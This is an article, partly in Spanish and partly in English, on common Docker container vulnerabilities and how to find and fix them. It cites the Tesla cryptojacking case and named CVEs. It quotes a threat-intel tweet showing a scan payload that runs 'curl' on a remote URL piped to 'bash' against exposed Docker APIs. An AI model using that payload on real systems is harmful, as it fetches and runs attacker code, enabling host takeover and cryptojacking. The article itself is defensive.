La contenedorización permite a los equipos de ingeniería crear un entorno de espacio aislado en el que ejecutar y probar aplicaciones. Los contenedores se componen principalmente de imágenes de código abierto extraídas de Docker Hub u otros repositorios de imágenes públicas.
Pero estas imágenes de código abierto a veces pueden contener vulnerabilidades que pueden poner en peligro la seguridad de los contenedores y, a su vez, su computadora / servidor host.
Dado que estos contenedores se ejecutan en una máquina host, es posible secuestrar contenedores en producción si se dejan desprotegidos.
Un buen ejemplo de tal hack es el ataque de criptojacking de Tesla a un clúster de Kubernetes desprotegido. En este ataque, los atacantes pudieron descargar y ejecutar un script malicioso para minar cripto utilizando GPU provistas por el clúster K8s (Kubernetes) de Tesla. Pudieron mantener este ataque bajo el radar manteniendo el uso de la CPU al mínimo y también ejecutando el script en intervalos de tiempo específicos.
En el transcurso de este artículo, analizaremos las vulnerabilidades comunes de los contenedores y las posibles formas de solucionarlas.
Vulnerabilidades de contenedores comunes y cómo solucionarlas
Los ingenieros de operaciones utilizan contenedores para empaquetar e implementar un software / aplicación en un entorno cerrado y controlado.
En un intento por evitar reinventar la rueda y acelerar el tiempo de comercialización, se incorporan imágenes de código abierto ya existentes para satisfacer las dependencias necesarias para ejecutar el software. Estas imágenes a menudo contienen ciertas vulnerabilidades que hacen que todo el contenedor y su host sean vulnerables a ataques maliciosos.
A continuación se enumeran algunas vulnerabilidades y exposiciones comunes de contenedores, así como cómo mitigarlas.
Cryptojacking
El cryptojacking es un tipo de ataque en el que se utiliza un script malicioso para robar los recursos informáticos de un dispositivo para extraer criptomonedas.
Recientemente, se descubrió una vulnerabilidad en Docker con la entrada de diccionario CVE-2018-15664. Esta vulnerabilidad hace posible que los atacantes obtengan acceso de root a la máquina de un host.
Además de poder utilizar los recursos de la CPU y la GPU de la máquina del host para extraer criptografía, los atacantes también pueden robar credenciales confidenciales, realizar ataques DoS, lanzar campañas de phishing y más.
Los contenedores pueden ser susceptibles al cryptojacking si contienen imágenes maliciosas que dan a los atacantes acceso de root a todo el contenedor. También son vulnerables si los puntos finales de la API del contenedor de la ventana acoplable son de acceso público en Internet sin contraseñas o firewalls de seguridad, como en el caso de Tesla.
Se detectó actividad de escaneo masivo oportunista dirigida a puntos finales expuestos de la API de Docker.
Estos escaneos crean un contenedor usando una imagen de Alpine Linux y ejecutan la carga útil a través de:
"Comando": "chroot / mnt / bin / sh -c 'curl -sL4 //t.co/q047bRPUyj | bash;'", # amenazaintel pic.twitter.com/vxszV5SF1o
- Informe de paquetes defectuosos (@bad_packets) 25 de noviembre de 2019Imágenes maliciosas de código abierto
Una vulnerabilidad que hace posible sobrescribir el binario runc del host le da a los atacantes la libertad de ejecutar comandos con acceso de root. Los motores Docker que son anteriores a la v18.09.2 hacen que los contenedores con imágenes controladas por atacantes sean susceptibles a la vulnerabilidad CVE-2019-5736.
Se aconseja a los ingenieros, en la medida de lo posible, que utilicen imágenes oficiales de Docker proporcionadas por Docker. Después de todo, incluso hay un equipo patrocinado por Docker que trabaja en estrecha colaboración con los mantenedores / editores de software y los expertos en seguridad para garantizar la seguridad de las imágenes oficiales de Docker.
Archivos Docker estáticos
Uno de los principios de los contenedores es que una imagen es inmutable. Esto significa que cuando se crea una imagen, su contenido no se puede cambiar. Eso en sí mismo da lugar a vulnerabilidades que resultan de paquetes / bibliotecas / imágenes obsoletas contenidas en una imagen.
Por lo tanto, es una buena idea incorporar escáneres de vulnerabilidades en los procesos de CI / CD para identificar imágenes de contenedores vulnerables. Dado que las imágenes son inmutables, la implementación de un contenedor recién construido con dependencias actualizadas ayudará a frenar las vulnerabilidades de seguridad, ya que se desaconseja la aplicación de parches al contenedor.
Cómo encontrar vulnerabilidades de contenedores
En la sección anterior, echamos un vistazo a las posibles formas en que las vulnerabilidades pueden infiltrarse en los contenedores de la ventana acoplable.
Encontrar vulnerabilidades en nuestros contenedores antes de que lleguen a producción ayudará a evitar posibles brechas de seguridad y mantendrá alejados a los atacantes malintencionados.
Como dicen, una onza de prevención vale una libra de cura.En esta sección, analizaremos las posibles formas en las que puede adelantarse a las vulnerabilidades de los contenedores.
Uso de Docker Bench para la seguridad
Docker bench for security es un script que prueba todos los contenedores de Docker en la computadora / servidor host para conocer las mejores prácticas para implementar contenedores en producción. Estas pruebas se basan en el punto de referencia de la ventana acoplable CIS.
Para una ejecución de prueba, puede extraer la docker/docker-bench-securityimagen y probar los contenedores existentes en su máquina local de la siguiente manera:
docker run -it --net host --pid host --userns host --cap-add audit_control \ -e DOCKER_CONTENT_TRUST=$DOCKER_CONTENT_TRUST \ -v /etc:/etc:ro \ -v /usr/bin/docker-containerd:/usr/bin/docker-containerd:ro \ -v /usr/bin/docker-runc:/usr/bin/docker-runc:ro \ -v /usr/lib/systemd:/usr/lib/systemd:ro \ -v /var/lib:/var/lib:ro \ -v /var/run/docker.sock:/var/run/docker.sock:ro \ --label docker_bench_security \ docker/docker-bench-securityNota : este comando no funciona bien en OSX. Consulte este problema de GitHub para obtener más detalles.
Escaneo de vulnerabilidades en GCR
Los repositorios de imágenes de Docker (por ejemplo, GCR) hacen posible que los ingenieros ejecuten análisis de vulnerabilidades en busca de imágenes en el registro del contenedor.
To enable vulnerability scanning in GCR (Google container registry), head over to the container registry settings on the Google cloud console and click on "enable vulnerability scanning" like so:
When a vulnerability scan is complete, you’ll see a result like in the image below if vulnerabilities exist:
Using Enterprise-Grade Solutions
There are enterprise-grade containerisation security suites which manages vulnerabilities and enforces deployment policies throughout a container's lifecycle.
In addition, this product suite also integrates seamlessly with popular CI/CD tools and container registries. This allows it to provide risk-free deployments as well as end-to-end container management from deployment to production.
Conclusion
Containers make it possible for engineering teams to roll out software seamlessly. However, this ease comes at the cost of security.
There are a couple of CVEs (common vulnerability exposures) in docker containers recorded in recent years. Some of them have been resolved in recent docker-engine updates with the remainder promised in future patch releases.
Engineering teams should have security in mind when building and deploying containers. They should also enforce container security policies in their DevOps lifecycles.